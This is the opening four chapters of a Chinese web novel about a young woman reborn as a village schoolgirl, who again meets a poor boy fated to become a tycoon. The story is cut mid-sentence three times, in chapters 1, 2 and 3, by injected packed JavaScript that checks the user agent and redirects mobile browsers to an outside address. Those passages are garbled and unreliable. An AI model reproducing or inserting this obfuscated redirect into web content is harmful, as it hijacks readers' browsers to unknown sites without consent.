《回到大佬少年时》 1. chapter1 十二月底,茫茫大雪把眼睛所能看到的一切变成白色。 炊烟从房顶泛黄的烟囱里争相往上飘,远处的山坡外传来小孩玩摔炮的响声吓跑了田地里寻找谷物的麻雀。 梳着羊角辫的女孩蹲在门口将手插在雪地里,她身上穿着喜庆的红棉袄,鼻尖和脸颊冻得通红。 女人端着两盘菜从厨房出来,朝门口的孩子喊道:“言言,别玩了进来洗手!” “好!” 庄雪言应了声,把冷的没知觉的手放在放有温水的脸盆中。 她皮肤白净,五官偏向母亲般柔美,长着一双水润的眼瞳,瞳仁大且灵动,鼻子挺翘,嘴唇有些薄,好奇趴在桌边瞧年夜饭的模样引得桌上三个男人笑起来,何均说:“言言大了一岁,长得越来越好看了!” 何芸也跟着笑,她看了眼还在冒白气的电饭煲,家里人多饭要煮久一些,何芸样样数数夹了些菜放进打包盒里,随后摸了摸庄雪言的脸颊。 “给许爷爷送过去,回来就能开饭了。” 徐老头是村里的五保户,无妻无子,晚年就靠捡垃圾维持生活,早几年捡了个小孩回来,于是生活更加难过,靠村里每个月发的补助金度日。 村里的人对他避之不及,何芸是离得最近的一家,她性格好不忍心看到老人晚年过得如此凄惨,平时能帮得上忙就帮,邻里关系维持的不错。 送饭这些活一贯是庄雪言做的,两家距离不远,来回顶多十分钟,正要走的时候,外面突然开始呼呼刮风,寒风刺的人睁不开眼,庄雪言小脸严肃地给自己戴上围巾。 雨靴比她的脚大很多,每一步都走的艰难,冷空气像刀子似的割在脸上,去的时间比想象中的长许多,庄雪言脚走的没知觉了才看到熟悉的破烂院墙。 徐老头的房子是集资修的平房,除了居住之外没有其他生存条件,反正周围没人,老人干脆给自己划了个院子当废品收容所。 院内空地里堆满了捡来的纸盒,因为怕受潮用防水胶带盖住了,大门没关,站在院外能看清空荡的堂屋,庄雪言走到干净的地方把靴子上的雪渣跺干净,象征性敲了敲门。 “徐爷爷,我来给您送年夜饭了!” 片刻,屋子里出来一个头发花白的老人,他年纪虽然大但精神头很不错,看到庄雪言时眼睛笑成了一朵花儿,亲昵地迎她进门。 “言言来了,快进屋坐,屋里有火炉!” “不用了。” 庄雪言把怀里冒着热气的饭菜拿出来放在桌上,甜甜地说:“马上吃饭我得回去了,改天来玩!” “好好好,我这....我给你拿个红包!” 徐老头转身去卧室,老人家钱挣得不容易,庄雪言不好意思要压岁钱,趁着没人注意悄悄溜出屋子。 凛冽的空气重新充斥鼻腔,猝不及防的寒风扑过来,庄雪言打了个哆嗦,把围巾往上拉。 朦胧的雾气蒙蔽视线,走出院子没多远,迎面过来一道瘦弱的身影,庄雪言低头不断搓手哈气,等注意到的时候两人只有十几步的距离。 以往庄雪言来送饭的次数并不多,很少能跟徐嘉轩碰上,两人这辈子说话的字数能用手指算明白,徐嘉轩不知道该说什么,下意识低头回避她的视线,露出头顶小小的发旋。 爷俩的日子堪称清贫,庄雪言看着那张瘦到不行的脸,跟上辈子金融财报中从容应对刁钻问题的男人简直是两个极端,她心情复杂地跟人打了声招呼。 “新年好,我刚刚送了年夜饭来,记得趁热吃,我妈妈做的。” 稚嫩的声音里没有鄙视和嫌弃,单纯告诉他这件事情。 徐嘉轩肢体更加僵硬,他没想到她会主动跟他说话,生硬地点头算打过招呼了,随后像刚才那样低着头。 他很少跟陌生人说话,明知道自己的行为太不礼貌又不知道怎样补救,徐嘉轩暗黄的脸颊有些发热。 他迟迟不出声,反常的行为落在庄雪言眼里变了层味道,她感到莫名其妙——徐嘉轩似乎挺不待见她? 庄雪言承认她上辈子确实嫉妒徐嘉轩命好,但这辈子没有表现的太明显吧? 何芸还在等她吃饭,庄雪言没在冰天雪地里折磨自己太久,冷淡点打了声招呼就离开了。 “再见。” 庄雪言没听到徐嘉轩的告别,等她的背影消失在雪中后徐嘉轩才抱着纸盒回家。 结冰的纸盒比往常重很多,拖慢了徐嘉轩的步伐,半开的远门中透出饭菜的香味,徐老头听到动静端着碗出来,看到徐嘉轩正费力地把纸盒搬到架子中层,说:“大过年的你出去捡盒子干嘛?小心别冻着,快进来吃饭!言言送来的。” 徐嘉轩清理干净身上的雪污跑到水管下洗手,屋内的老人还在不断催促,徐嘉轩声音大了许多:“马上来!” 那头,庄雪言老远看到了站在门口等她的何芸,她小跑着扑进母亲怀里,围巾上飘落的雪花化在庄雪言温暖的皮肤上,何芸蹲下来擦了擦她的脸。 “进去吃饭了,就等你一个人。” 庄雪言说:“你们先吃嘛,不等我也行。” “不等你怎么行。”何芸牵着她的手:“你王阿姨王叔叔也来了,等会儿进去挨个拜年去。” 坐在最边上的何均早准备好了大大的红包,庄雪言伸出双手扑进他怀里要抱抱,男人大笑几声,起身抱着小小的孩子转了两圈,随后把红包放在她手上。 “大半年没看见了,言言想不想舅舅?” 庄雪言把红包放进口袋估摸着厚度,甜滋滋说:“想!” “好!舅舅明天再给你包个大红包!” 还没等庄雪言道谢,何芸先一步拒绝。 “哥,别破费了,你挣钱也不容易,都不容易......” 家里老人五六十岁了,抵抗力不好,遇到丁点风吹草动生病去医院就得花几千块钱,一年前庄雪言奶奶做了手术,手术费几乎掏空了家底,还是何均自掏腰包补了几万块才撑过来。 两个老人自顾自叹气,何均“唉”了声,佯装不高兴。 “你说这话我不爱听,你一个人照顾家里,我是言言的舅舅肯定得帮衬,再说言言下学期毕业就要去初中了,学费生活费都是一笔开销啊。” 他们说话很小声,也是欺负庄雪言不懂家里一些弯弯绕绕,庄雪言坐在凳子上给自己夹菜,心里门清。 她上辈子死的时候已经二十四岁了,不是什么都不懂听到别人叫自己没爹的野种还愤怒地去争辩的小孩子,说起来上辈子死的也惨,飞机失事前看到的最后一则新闻居然是关于徐嘉轩认祖归宗跻身豪门的消息,可谓死不瞑目。 何芸还想说什么,何均却示意大过年的不要说晦气话。 庄雪言那个活见鬼的爹已经两年没回来了,生活费也没往家里打,村里都传闲话说何芸家男人死外面了,说的像真的似的,也不背人。 话传到庄雪言耳朵里,她心想:还不如死了呢! 吃完饭,两个老人琢磨着去串门,庄雪言帮何芸收拾好碗筷,打了声招呼就提着篮子出门了。 她记得上辈子这个时间点有个城里来的老中医专门收野生中药材,价格比市场价高出十几块,就在离她家一个山头的狗儿坡那边。 卖药材是村里人收入来源之一,何芸不是专门干这个的,趁着夏天山上蒲公英和金银花多顺便晒了几斤,准备等过年价格高些的时候卖给药贩子。 可惜上辈子庄雪言没赶上好时候,等事情流传开的时候人早离开了。 而且据她所知,那个老中医要的东西不多,只收了徐嘉轩的药材。 跟天降npc一样。 庄雪言励志这辈子要抓住机遇赚到自己人生的第一桶金,没事就在狗儿坡附近晃悠。 狗儿坡破角有个没人要的破房子,老中医就住在那,庄雪言连着去了好几天,脚都快冻伤了都没见有人,可是她明明记得就在这几天的,不会有错。 庄雪言围着破房子转了几圈,又跳又叫,确定没人后灰溜溜准备回去,连竹篮都透露着失望的味道。 混着泥的雪化成水渗透进靴子里,两只脚冻得没有知觉,冰凝化开的时候温度比过年几天都冷,枯树丫上盖了层雪被子,庄雪言用棍子打开肆意生长的灌木,心情下起飘飘小雨。 透过交错的树木能看到不远处错落在森林里的房子、大大小小的农田像刚成型的霉豆腐,是毛茸茸的白。 庄雪言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526268|203518||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往回走了一段路,看到不远处过来的小黑点。 走近了,才发现是背着背篓的徐嘉轩。 男孩发育比女孩晚,加上徐嘉轩长期吃不饱发育不良,明明是同岁,站在庄雪言面前却像弟弟一样,过年见面没发现,等两人都站在平坦的地面上时,庄雪言看着眼前比自己矮半个头的小孩心里诡异地升起一股优越感。 都是一个村出来的,长大后的身份地位却天差地别,庄雪言哪能想到老天能给她一次踩在徐嘉轩头上的机会,她撩开头发,心情愉悦地和他打招呼。 “好巧。” “好巧........” 不同于上次看见那样正式,女孩随意地披着头发,黢黑的瞳孔跟雪白的皮肤形成强烈对比,好看的脸冲他笑了笑,徐嘉轩就忘记怎么说话了。 庄雪言还在耐心等待对方怎么都说不出口的后续,徐嘉轩微张的嘴唇闭上,有些怕自己说错话,沉默地停在离她几步之外的地方。 跟上次差不多的距离,庄雪言不知道这个距离有什么含义,看到他背篓里漏出来的草药,问道:“你要去卖药材吗?” 徐嘉轩点点头,揭开盖在上面蓝色毛巾,小半金银花干和当归片露出来。 本来跑了十几趟没见到人就烦,现在终于有人和自己一样要跑空了,庄雪言幸灾乐祸地提醒:“老中医今天不在家,你还是回去吧。” 徐嘉轩不明白她在说什么,挎着背篓小声解释:“我要去集市卖药材。” 这条路是通往镇子上最近的路,庄雪言没想到他不是找的老中医,疑心自己是不是记错时间了,可回忆清清楚楚告诉她是今年过年没错,庄雪言提着篮子,兴致不高地跟徐嘉轩一起走。 好久,徐嘉轩鼓起勇气搭话:“你....你也要去集市吗?” 他记得刚刚庄雪言是跟他相反方向的。 “对啊,我也去集市。” 她实在懒得把这些草药背来背去了,还不如去集市看看有没有高价贩子。 两人一前一后走着,期间谁都没再说话,雨靴踩进泥水发出“吧唧”的声音,再次路过那间破房子,房门不见打开,庄雪言更加坚定了去集市卖药的决心。 这条路是小路,没什么人走,越靠近镇上的地方没化的雪越多,庄雪言聚精会神盯着靴子,眼睁睁看到自己踩在一块冰面上,然后脚一滑。 “哎哟——” 啪一下,庄雪言屁股着地摔在地上。 听到动静的徐嘉轩立马放下背篓跑过来拉她。 小孩能有什么力气,庄雪言拉住他的手被冻得一哆嗦,感觉手里握着的是根又硬又冷的木头。 她费劲把自己撑起来,整条裤子包括衣服的边角都沾上了泥巴,背篓里的药材撒出来了许多,小半掉在污水里。 庄雪言欲哭无泪,抱紧竹篮把地上的药材捡起来,徐嘉轩过来来帮忙,离得近了,她能闻到他身上微微的异味。 常年杀鱼的小贩身上总有股散不开的鱼腥气,徐嘉轩身上的是纸盒受潮后发霉的味道。 好似感知到她的想法,徐嘉轩捡着捡着,悄悄离庄雪言远了点。 长的过分的睫毛掩盖自卑,徐嘉轩把手上的药材用毛巾包好递给她,手上没什么肉,几乎是皮包骨,但指骨很长,要是多吃点肉或许这双手能顺眼许多。 “给你。” 余光看到庄雪言脸上没表现出闻到异味难受的表情,他悄悄松了一口气。 庄雪言不知道他的小心思,接过来道了声谢,脏兮兮的药材躺在柔软的毛巾上,庄雪言像小大人一样叉腰叹气。 “估计用不了了。” “什么用不了?这么好的药材洗洗就能用啊!小孩就是不懂珍惜。” 陌生的嗓音猝不及防从后方响起,庄雪言和徐嘉轩齐齐转头,一个戴草帽留胡须的男人从狗儿坡的灌木丛里走出来。 他约莫有五十多岁了,小半的胡须都变成了白色,看到背背篓提篮子的两人,问:“你们俩来卖药材的不?” 庄雪言看了看眼神清澈的徐嘉轩,又看了看突然出现的老中医,脑子里出现不可思议的想法。 莫非.....这个世界真的有人天生是主角? 2. chapter2 距离卖草药已经过了十几天,天气一如既往的冷,雪倒是没怎么下了。 上次分别到今天两人没见过面,庄雪言坐在书桌前盯着窗外空荡的景色出神,过了会儿,她拿出抽屉里放的六百块钱重新数了一遍,漂亮的小脸上说不出是苦恼还是忧心。 这次能靠着许嘉轩小赚一笔,那下次呢? 庄雪言后知后觉发现她并不了解机会,前世的事情离得太远,她连高考考什么都忘记了,她不玩期货不玩彩票,处于风口连猪都能飞的时代,庄雪言还在当苦命打工仔。 桌面放着一张小升初的复习资料,资料里面夹得是科科满分的卷子。 这是重生后为数不多她得到的好处。 庄雪言咬着笔头,没想到自己能体会到当学霸的感觉,她乐呵呵地翻看卷子,右上角全是鲜红的一百分。 她短暂的二十四年过得比死水还平静,哪怕扔个大石头进去也激不起什么水花,顶多冒两个泡就没了,所以想破脑袋也不知道要从哪个突破口改变。 庄雪言有一瞬间不懂:既然这样,那她重生的意义是什么? 还不如跟着徐嘉轩混,说不定还能跟着喝口汤摆脱贫民头衔。 上辈子徐嘉轩还给她抛了两次橄榄枝,说是安排了一个轻松又高薪的职位给她,庄雪言当时年少无知太清高了,觉得自己的尊严受到了深深的羞辱,怒而拒绝。 现在想来,徐嘉轩大概是在报答,至于报答对象应该是何芸,只是她妈妈走的早,所以这份恩情落到了她头上。 错过的就是错过了,庄雪言烦躁地关上书,临近开学,通往镇上的水泥路上多了许多往来的车辆,庄雪言明白自己的好日子不多了。 何芸忙前忙后准备开学事宜,等庄雪言背着有她一半高的书包进校门时,何芸又两眼泪汪汪地看她。 寒假庄雪言都是睡到自然醒,没习惯天不亮起来的生活,她打了个哈欠,声音软乎乎地跟何芸道别:“拜拜妈妈,记得五点钟来接我哦~” 何芸恋恋不舍:“拜拜宝贝,在学校乖乖的,围巾别忘了戴上,冷了要加衣服!” 庄雪言点点头,要走的时候又跑回去亲了她一口,几个厌学的孩子抓紧围栏哭着喊着不去上学,相比之下庄雪言显得越发乖巧可爱。 明明冬天还没过去,这么冷的天气也作业该怎么办? 何芸满眼心疼,她舍不得放开女儿。 庄雪言冲她摇摇手,意外看到了独自来上学的徐嘉轩。 他周围没朋友,背着破破烂烂还有补丁的书包走进校门,庄雪言的目光太过直白,他也看到了她。 “早.....” 打招呼的手还没举起来,漂亮的女孩挪开目光,没看到一样头也不回地离开了。 徐嘉轩愣愣的,在寒冷中皲裂的耳朵传来细密难忍的痒痛,他摸了摸耳朵,垂头看自己脚尖,像打了败仗一样走进班级。 庄雪言是一班的,徐嘉轩在三班,两人的班级在同一个楼层,小学没有重点班普通班之分,能跟谁分到一个班纯靠运气,当然,家长有关系的话也能通融融通,不过很少有人把关系放在微不足道的小事上面。 七点半上早读,八点十五吃饭,由于是第一天,庄雪言到教室的时候人不是很多,她的同桌是个秀气文静的女孩,叫元秀秀,看到庄雪言来了,她高兴地打了声招呼。 早读没有老师管理,时间眨眼就过去了。 男生们聚在一起谈论寒假做了什么小卖部上了什么新品,庄雪言打了个哈欠躺在桌上补觉,她定好了时间,早饭前五分钟拉着元秀秀去食堂排队。 原以为时间把控的恰到好处,既不会被食堂巡视的主任抓到又能排在前面,可惜世界上还是有心眼的人多,元秀秀看到排到食堂外的长龙差点惊掉下巴。 “怎么这么长的队.....” 庄雪言差点饿死在半路,看到此情此景更是恨不得当场昏过去,她让元秀秀帮忙占个位子她去拿碗筷,元秀秀点头。 “快一点,十几分钟就到我们了!” 放碗筷的箱子周围挤满了人,庄雪言充分发挥自己尊老爱幼的美德,等了又等,半天都没有空隙让出来,不得已只能抛去美德在人群中挤来挤去,最后拿了两个边缘沾着米饭的碗。 不知道开学第一天,碗里的米饭是怎么来的..... 此类事情经历的多了,庄雪言没第一次那么嫌弃,她去水池边认认真真清洗干净后拿回去,离开五六分钟了,队伍只前进了十几米。 “秀秀,怎么回事啊,为什么只走了这么点距离?” 庄雪言满脸疑惑地把碗递给元秀秀,她知道会有帮忙插队的情况发生,但今天这样离谱的情况还没有。 元秀秀捧着碗踮脚往前看,低声抱怨:“好像是前面有一伙插队的留级生。” “一伙?”庄雪言问:“一伙有几个人?” “十几个吧。” “......” 庄雪言拿着碗去队伍前面,靠近打饭窗口的位置几个男生站的歪七扭八,勾肩搭背地说笑。 她又看见徐嘉轩了,他被小团体中的一个人拉着,眉头紧皱在辩驳什么,离得太远庄雪言没听清,她听清了对方具有浓烈嘲讽意味的话语。 “就□□队了怎么了?不服告老师啊!怎么不插别人队就□□的队呢?” “哈哈,李顺你这话说的.....”旁边的男孩笑的前仰后合:“算他倒霉呗!” 尖锐的语言太刺耳了,徐嘉轩敢怒不敢言,微微下凹的眼睛瞪着他们。 庄雪言想起上辈子那些势利眼的媒体是这样评价徐嘉轩的:行业机遇最敏锐的探知者,时代浪潮中的顶梁柱。 在家里当祖宗的男生吃得好喝的好,长得比徐嘉轩高多了,在他们面前徐嘉轩比一颗鹌鹑蛋还可怜,哪有什么探知者顶梁柱的样子,被插队了也不反抗,害得后面人都跟着遭殃! 因为上辈子的不待见,庄雪言无可避免用有色眼镜看他,如果是别人这幅可怜的样子或许能激起她的同情心,但对待徐嘉轩,她苛刻很多。 不堪入耳的话语还在继续,爹妈掺杂在里面满天飞,后面排着队的人抱怨却每一个人站出来,换做之前庄雪言也不敢,但今时不同往日,她都快饿死了哪管得上那么多。 庄雪言用筷子猛地敲碗,剧烈又嘈杂的噪音打断争执,骂人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526269|203518||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的男生不约而同闭上嘴,眼睛齐刷刷看着满脸不耐烦的女孩。 排队的学生自发围城一圈看热闹,打量的目光落在庄雪言细弱的肩膀上,她发育的比同年龄的女生慢些,面对比她高许多的男生,脊背挺的笔直。 徐嘉轩脸色担忧,想伸手拉她告诉她对方不是她能惹的,可想起早上她的冷漠,他不确定自己会不会被嫌弃,只敢小心翼翼地捏住庄雪言一点点袖口,往外扯了扯。 庄雪言没理,无情地从他手中扯出袖子,锐利的目光从男生们脸上一一扫过,语气平和地询问:“刚刚是哪个不要脸的带头插队?” 此话一出,人群中爆发出低声的讨论,李顺嚣张惯了,此刻沦为谈资面子上挂不住,指着庄雪言骂:“关你屁事!又不是□□的队!” “你耽误我吃饭我怎么就不关我的事了?” 庄雪言走到他面前,步步紧逼,逼得对方心底发怵慌张地后退才停下来,她轻抬下巴,黑白分明的眼睛直勾勾盯着他。 “你怎么不把你祖宗十八代从地下挖出来插队呢?反正你不要脸,多几个人都没事!” “你!你你!” 李顺差点背过气去,薛定谔的兄弟躲在身旁边看戏边安慰:“李顺,我说你别背过气去了,要不我们去小卖部吃泡面去?” 李顺甩开他的手:“吃个屁的泡面!” 李顺在家皇帝当惯了,受了气非要当场报回去,他愤怒地活动手指,关节按的咔哒作响,听起来很吓人。 徐嘉轩知道以他们的脾气是真的会打人的,他心急之下拉开庄雪言,伸出细长的臂膀挡在她面前,处于变声期微微嘶哑的嗓音大声说:“我退出队伍了!这里不是我的位置我也没有帮你们占位置!” 李顺瞪着他:“谁管你的!” 说完又瞪着庄雪言,好像眼睛睁的越大气势越足。 庄雪言恨铁不成钢看了徐嘉轩一眼,她真想骂他怎么这么没用,顿了半天还是没忍心对一个十几岁的孩子骂出来,只能把火气撒在李顺几人身上。 “几个男生欺负一个女生,你们好大的脸啊!” 她走到最边上的人面前,指着他:“我认识你,你把五块钱撕成两半去小卖部买东西被老板抓了。” 男生明显慌了,气急败坏地反驳:“你放屁!” “你!”庄雪言没理他,径直走到下一个人面前,同样的手势指着他:“你,月考作弊被老师发现单独谈话了。” “胡说!” “你找小卖部老板赊账没还。” “你.....” 下一个....再下一个.... 无论是心虚地否认还是愤怒的否认庄雪言都置之不理,随着围观的人越来越多,老师也来了。 看到庄雪言这位大名鼎鼎的小天才,教导主任没有丝毫犹豫让李顺几人上课前去办公室谈话。 庄雪言出了口恶气,还被老师领到教师食堂吃饭,心情大好,周围人投来的崇拜或是八卦的眼神,她不在意,大方地邀请元秀秀一起去教师食堂。 元秀秀没去过老师食堂,现在沾了庄雪言的光眼里满是崇拜。 “小雪你也太厉害了!” 3. chapter3 教师食堂不用排队,吃完就走了,庄雪言进去的时候餐桌上还剩许多包子和小米粥。 两个小女孩胃口不大,五六分钟解决了早餐,出去时长队只剩尾巴尖,几个人围在打饭窗口往里看,吃完馒头重新排队的人被食堂大妈撵走。 “今天没馒头了,一人两个,谁多拿了你们找谁去!” 庄雪言对食堂的操作见怪不怪了,几乎每年开学前几天早餐都供应不足,她上辈子太守规矩,吃不到早饭就干饿着,这辈子学乖了,还没饿过肚子。 守在窗口前眼巴巴的学生等了会儿,似乎在商量解决办法,教师食堂剩的有几个包子但没一个人敢进来吃,看到小小的孩子挤在打饭口周围,庄雪言好像看到了上辈子的自己。 趁着打扫的阿姨还没收拾教师食堂,庄雪言把剩下几个包子连盘子一起端过去,插队的几个留级生没吃饭直接走了,没吃到饭的都是不认识的生面孔。 哦,还有一个藏在后面的徐嘉轩。 庄雪言把包子分给他们,换来可怜又好笑的感激的眼神,分到最后,庄雪言感觉有点不对。 还差一个。 站在最末尾的徐嘉轩看到空荡荡的餐盘,手指揪紧衣角,表情有些局促的尴尬。 他大脑乱成浆糊,不想麻烦庄雪言,小声说:“我不吃也可以。” 饥一顿饱一顿的感觉不好受,最开始胃疼的时候徐嘉轩抱着肚子满地打滚,次数多了逐渐习惯了,他不敢跟庄雪言对视,怕她觉得他很麻烦。 徐嘉轩运气真是太差了,长得比别人瘦就算了,包子也没得吃,庄雪言扯了扯嘴角,抢过一个胖子手中还没来得及吃的包子塞进他手里。 冬末的寒冷没有过去,刚出炉的包子过十分钟就冷的差不多了,面皮跟雪一样凉,也许是上面带着庄雪言的温度,徐嘉轩握在手心是暖的。 他感激地看向庄雪言,对方压根没注意他,被抢了包子的男生忘记是谁给自己的早餐,发出不满的叫喊。 “你干嘛?!那是我的!” 给狗一块肉还知道摇尾巴,庄雪言不耐烦道:“带你去小卖部吃方便面行不行?” “嘿嘿。”男生立马换了个态度,嬉皮笑脸地点头:“可以可以!” 干巴的包子哪有香喷喷又管饱的泡面好吃? 完美解决所有人的早餐分配问题,庄雪言深藏功与名,领着胖子走了。 路上有不少吃完早餐回去的学生,有部分往教室走,更多的聚集在小卖部门口,垃圾桶装不下零食袋,风一吹,各种颜色的塑料刮的到处都是。 庄雪言履行承诺找老板买了一块钱的鸡蛋面给男生,对方没接,看向方便面的眼神失望又嫌弃。 他抱怨道:“说好的泡面呢?” 庄雪言说:“我什么时候说是泡面了,这不是方便面?” 能花一块钱给不相干的人买早餐,庄雪言觉得自己已经仁至义尽了,再说她本来就穷,拿着一周五块钱的生活费在何芸面前嘴硬装够用,这可是她一天的口粮。 “吃不吃?”她作势把方便面装进口袋:“不吃算了,不吃我喂狗去。” “吃吃吃!” 吃鸡蛋面总比喝西北风好,男生不情不愿接过来,走的时候还悄悄嘟囔一句:“还不如吃包子呢,起码有肉.....” 庄雪言:...... 十几岁的小孩不会掩饰自己的情绪,几句话直接气得庄雪言差点站不稳,她挤出僵硬的笑容,想想两辈子加起来活了三十多年的人了,不能跟小学生怄气。 但情绪根本不受她的控制,是藏在身体里的属于小孩子的本能,庄雪言跺跺脚,心想:还不如喂狗! 目睹一切的元秀秀拉住庄雪言的手,问:“小雪,你是不是不喜欢那个男生呀?” 庄雪言怄气道:“对啊,好心没好报!” “不是啦。”元秀秀纠正道:“是那个,没有分到包子的男生。” “你是说徐嘉轩?” 元秀秀点头:“对呀。” “你明明可以直接带他来小卖部的。” 庄雪言不知道怎么回答。 讨厌算不上,但喜欢肯定是没有的。 寒假短短一个月他们产生的交集比上辈子都多,她只是嫉妒徐嘉轩命好,可是现在的徐嘉轩只是个经常遭受欺负的可怜小孩子,她真的要将上辈子的情绪带到这辈子的他身上吗? 是不是太不公平了? 庄雪言垂下眼,有些鄙视自己。 元秀秀看她情绪不佳,没再追问下去,早餐之后要进行校园扫除,还有半小时就有老师检查了。 在之后几天,庄雪言就没怎么撞见过徐嘉轩。 冬天悄悄溜走,干枯的树枝上长出崭新碧绿的嫩叶,最后一缕寒风吹过,随之而来的是温暖适宜的季节。 换季往往要经历一场连绵的阴雨,雨停止后世界都换了模样,庄雪言脱去厚重的羽绒服穿上何芸新买的毛衣,米白色的,跟幼猫刚长出来的绒毛一样柔软。 何芸在就近的成衣厂找了个裁缝的活,成衣厂很小,是私人产业,好在离家近,按件计费也不要求上下班时间,接女儿很方便。 庄雪言每天放学都紧紧牵着何芸的手,脆嫩的声音向她讲述学校今天发生了什么,何芸温柔地回应,等给一家老小做好晚饭后又赶着去成衣厂上班。 庄雪言好几次让何芸晚上不要去上班了,成衣厂她去看过,里面放着成堆的衣服,几个人坐在昏暗的灯光下踩缝纫机,对眼睛不好。 何芸笑的很甜蜜,她捧着庄雪言的脸,说:“妈妈要努力挣钱才能给言言更好的生活呀,言言喜不喜欢漂亮衣服?” 庄雪言摇头,嘴巴瘪成鸭子,委屈道:“言言喜欢妈妈。” “妈妈也爱言言,言言过得好妈妈就满足。” 庄雪言握着她的手撒娇:“明明是言言更爱妈妈!” 何芸笑了好一会儿,叠好庄雪言第二天上学要穿的新衣服,爱怜地摸了摸女儿柔软的头发,转头上班去了。 事情的发展稳稳按照上辈子进行。 平平淡淡过了几个月,庄雪言算是明白了,如果按照上辈子的路线走,她应该跟徐嘉轩没什么交集。 要真是这样,庄雪言反倒松了口气,她实在不知道该怎么面对尚且是个小孩子的徐嘉轩,庄雪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526270|203518||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言常常会质问自己,她的嫉妒心是不是有点太强了? 后来仔细想了想,什么嫉妒心强,她明明是务实上进,敢于追求理想生活状态。 慢慢的,庄雪言连毛衣也脱了,换上了单薄的灰色老头衫,炙热的阳光照到绿叶上,落在水泥地的只剩星星点点的光斑,肉眼可见的热浪随风吹拂,夏天的过渡期仅仅两个月。 气温上升到知了都懒得叫的地步,种在中心花坛里的巨大老槐树生长的枝繁叶茂,庄雪言左手扫把右手撮箕站在树下乘凉,心里把班上几个关系户骂了百八十遍。 她成绩那么好,班长不是她也就算了,听说学习委员的父亲新学期送了班主任一台烤箱,最终这个职务也没落到庄雪言身上,反而分了个劳动委员给她意思意思,大夏天还得再外面检查班级负责的区域卫生弄好没有。 庄雪言一边骂一遍巡视有没有打扫完的卫生区,正好跟刚从操场出来的徐嘉轩视线碰上。 操场旁边有条林荫小道,小道里面有学校公示墙,最近举行了没什么含金量的小升初摸底考试,名次周末晚上挂上去的,不少学生趁着早餐的功夫跑到墙前面看,庄雪言没这闲工夫,小学的知识,她闭着眼睛都能考第一。 徐嘉轩估计刚看完出来,他身后陆续出来的学生手挽着手肩靠着肩,神色各异地讨论这次的考试情况,他身边没有朋友,两人的交流也仅限于对视的那一眼,挪开视线后,他们各做各的事情。 上课铃响,拖着扫把的同学神色慌张地朝教学楼跑去,庄雪言悠闲靠在树干上,她不着急,劳动委员就这点好,有理由晚点进教室。 慢悠悠检查完卫生,庄雪言走在凉爽的柏油路上,路两边种着几棵巨大的红枫树,风穿过树叶时会发出沙沙的响声。 没有学生能忍住不好奇自己的成绩,庄雪言路过告示牌,少了人挤人的烦恼,上前看了几眼。 她的名字毫无意外出现在第一个,庄雪言得意洋洋,在学校除了关系,成绩就是最大的免死金牌。 她又往下扫了几眼,有认识的不认识的名字,就是没有徐嘉轩的。 六年级总共就一百五十名学生,第一张纸没有那肯定就在第二张纸,庄雪言挪了两步走到七十五开头的成绩单面前,粗略看了两眼,在九十三的序号后看到了徐嘉轩的名字。 没想到徐嘉轩还是个中下游的学渣,庄雪言乐的差点笑出来,随后立马捂住嘴,不断告诉自己,对方还是个孩子,不可以拿他当万恶的资本家看待。 但她还是抑制不住雀跃,一路哼着歌回到教室。 老师已经开始上课了,看到庄雪言回来笑盈盈地让她进教室,提醒道:“我们复习到第四章三单元,把书翻到五十五页吧。” 学霸就是这点好,老师都宠着,要不是碍于不能太嚣张,庄雪言都想翘着二郎腿上课。 上辈子的她属于没天赋但努力的中上游学生,小学初中乃至高中像大部分学生一样,遵守规矩畏惧老师、社交圈只有几个性格差不多的女生。 这种颠覆性的生活对她而言是新的体验,庄雪言很喜欢,如果她的生命注定会停在二十四岁,那她一定不想再活的畏手畏脚了。 4. chapter4 中考转眼就来,热浪一层层扑到男孩女孩汗津津的皮肤上。 小升初不用担心升学率,很多女孩都结伴在一起讨论进入初中后的生活,前两天他们考了初中的分班考试,考得好的会分到重点班,不好的在平行班。 从初中开始就把人划分为三六九等,曾经扎根普通班的庄雪言不赞同这种没有尊严的行为,因为元秀秀考完以后向她哭诉她可能不能进重点班,不能继续和她做同桌了。 对此,庄雪言进行温柔地开导,又不是高考,毕竟元秀秀成绩还可以,能上年级前四十,要说真上不了重点班,庄雪言转念想到了一个人。 徐嘉轩那个成绩,应该才上不了重点班吧.... 庄雪言不是很想和他分在一个班,她没做好跟他接触的准备。 她心里涌起淡淡的担忧,半天又觉得自己想太多了,刚回到座位,元秀秀情绪失控扑在她怀里哭了一场。 她父母太严苛,长期待在高压的家庭里心思比普通女孩更加敏感,性格也内向,这么多年只交到了庄雪言一个朋友,她真的想跟庄雪言一个班,以后还能续同桌的缘分。 